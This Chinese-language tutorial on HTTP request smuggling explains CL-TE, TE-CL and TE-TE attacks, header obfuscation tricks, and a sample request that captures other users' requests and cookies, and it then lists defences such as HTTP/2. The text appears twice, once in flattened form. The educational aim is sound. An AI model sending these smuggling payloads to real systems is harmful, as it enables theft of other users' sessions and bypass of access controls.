浅谈HTTP请求走私
字数 1417 2025-08-20 18:17:47

HTTP请求走私攻击详解

漏洞成因

Keep-Alive与Pipeline机制

HTTP/1.1中默认启用了两个关键特性:

  1. Keep-Alive:通过Connection: Keep-Alive请求头告知服务器不要关闭TCP连接,后续请求可重用同一连接,减少握手开销。

  2. Pipeline:客户端可以像流水线一样连续发送多个HTTP请求,而不必等待服务器响应。服务器需遵循先入先出机制处理请求。

关键头部:CL与TE

  1. Content-Length (CL):指定请求主体的字节长度。

  2. Transfer-Encoding (TE):指定传输编码方式,重点关注chunked

    • 数据被分成一系列块发送
    • 每个块格式:[十六进制长度]\r\n[数据]\r\n
    • 终止块:0\r\n\r\n
    • 示例:
      b\r\n
      q=smuggling\r\n
      6\r\n
      hahaha\r\n
      0\r\n
      \r\n
      

RFC规范:当CL和TE同时出现时,Content-Length应被忽略。但不同服务器实现不一致导致漏洞。

攻击类型

1. CL-TE攻击

前置服务器:优先处理Content-Length
后端服务器:优先处理Transfer-Encoding

示例攻击请求

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0

A
  • 前置服务器认为整个请求长度为6字节(0\r\n\r\n)
  • 后端服务器处理到0\r\n\r\n认为请求结束
  • 剩余的"A"会与下个请求拼接

2. TE-CL攻击

前置服务器:优先处理Transfer-Encoding
后端服务器:优先处理Content-Length

示例攻击请求

POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

17
POST /secret HTTP/1.1

0
  • 前置服务器处理整个分块请求
  • 后端服务器只读取前4字节(17\r\n)
  • 剩余部分成为走私请求

3. TE-TE攻击

通过混淆TE头部使前后端解析不一致:

混淆方式

  • Transfer-Encoding: xchunked
  • Transfer-Encoding[空格]: chunked
  • Transfer-Encoding: chunked\r\nTransfer-Encoding: x
  • [空格]Transfer-Encoding: chunked
  • X: X[\n]Transfer-Encoding: chunked

漏洞利用场景

  1. 绕过安全限制:绕过前置服务器的访问控制
  2. 窃取用户请求:获取其他用户的敏感数据如Cookie
  3. 反射型XSS:组合利用实现XSS
  4. 重定向攻击:将站内重定向变为开放重定向
  5. 缓存投毒:污染缓存内容
  6. 缓存欺骗:欺骗缓存系统存储恶意内容

实例分析:窃取用户请求

攻击请求

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 325
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: vulnerable.com
Content-Length: 665
Content-Type: application/x-www-form-urlencoded
Cookie: attacker_session=...

csrf=...&postId=3&comment=a

效果

  1. 后端处理完初始请求后,缓冲区保留评论提交请求
  2. 当其他用户请求到达时,会被拼接到评论的comment参数中
  3. 攻击者可在页面查看其他用户的完整请求

防御措施

  1. 禁用连接重用:在代理与后端间禁用TCP连接重用
  2. 升级HTTP/2:HTTP/2的二进制帧机制天然防御此类攻击
  3. 统一服务器:前后端使用相同服务器软件
  4. 严格实现RFC:正确处理CL和TE头部
  5. 规范化处理:拒绝非标准TE头部

HTTP/2的防御原理

  1. 使用二进制帧而非文本格式
  2. 每个帧有明确编号和长度
  3. 单个TCP连接可承载多个双向流
  4. 不再依赖换行符分隔请求
  5. 天然支持多路复用,无需Pipeline

总结

HTTP请求走私攻击利用前后端服务器对请求边界解析不一致的漏洞,通过精心构造的CL和TE头部实现请求注入。防御关键在于规范实现和统一解析逻辑,升级到HTTP/2是最彻底的解决方案。

HTTP请求走私攻击详解 漏洞成因 Keep-Alive与Pipeline机制 HTTP/1.1中默认启用了两个关键特性: Keep-Alive :通过 Connection: Keep-Alive 请求头告知服务器不要关闭TCP连接,后续请求可重用同一连接,减少握手开销。 Pipeline :客户端可以像流水线一样连续发送多个HTTP请求,而不必等待服务器响应。服务器需遵循先入先出机制处理请求。 关键头部:CL与TE Content-Length (CL) :指定请求主体的字节长度。 Transfer-Encoding (TE) :指定传输编码方式,重点关注 chunked : 数据被分成一系列块发送 每个块格式: [十六进制长度]\r\n[数据]\r\n 终止块: 0\r\n\r\n 示例: RFC规范 :当CL和TE同时出现时,Content-Length应被忽略。但不同服务器实现不一致导致漏洞。 攻击类型 1. CL-TE攻击 前置服务器 :优先处理Content-Length 后端服务器 :优先处理Transfer-Encoding 示例攻击请求 : 前置服务器认为整个请求长度为6字节( 0\r\n\r\n ) 后端服务器处理到 0\r\n\r\n 认为请求结束 剩余的"A"会与下个请求拼接 2. TE-CL攻击 前置服务器 :优先处理Transfer-Encoding 后端服务器 :优先处理Content-Length 示例攻击请求 : 前置服务器处理整个分块请求 后端服务器只读取前4字节( 17\r\n ) 剩余部分成为走私请求 3. TE-TE攻击 通过混淆TE头部使前后端解析不一致: 混淆方式 : Transfer-Encoding: xchunked Transfer-Encoding[空格]: chunked Transfer-Encoding: chunked\r\nTransfer-Encoding: x [空格]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked 漏洞利用场景 绕过安全限制 :绕过前置服务器的访问控制 窃取用户请求 :获取其他用户的敏感数据如Cookie 反射型XSS :组合利用实现XSS 重定向攻击 :将站内重定向变为开放重定向 缓存投毒 :污染缓存内容 缓存欺骗 :欺骗缓存系统存储恶意内容 实例分析:窃取用户请求 攻击请求 : 效果 : 后端处理完初始请求后,缓冲区保留评论提交请求 当其他用户请求到达时,会被拼接到评论的comment参数中 攻击者可在页面查看其他用户的完整请求 防御措施 禁用连接重用 :在代理与后端间禁用TCP连接重用 升级HTTP/2 :HTTP/2的二进制帧机制天然防御此类攻击 统一服务器 :前后端使用相同服务器软件 严格实现RFC :正确处理CL和TE头部 规范化处理 :拒绝非标准TE头部 HTTP/2的防御原理 使用二进制帧而非文本格式 每个帧有明确编号和长度 单个TCP连接可承载多个双向流 不再依赖换行符分隔请求 天然支持多路复用,无需Pipeline 总结 HTTP请求走私攻击利用前后端服务器对请求边界解析不一致的漏洞,通过精心构造的CL和TE头部实现请求注入。防御关键在于规范实现和统一解析逻辑,升级到HTTP/2是最彻底的解决方案。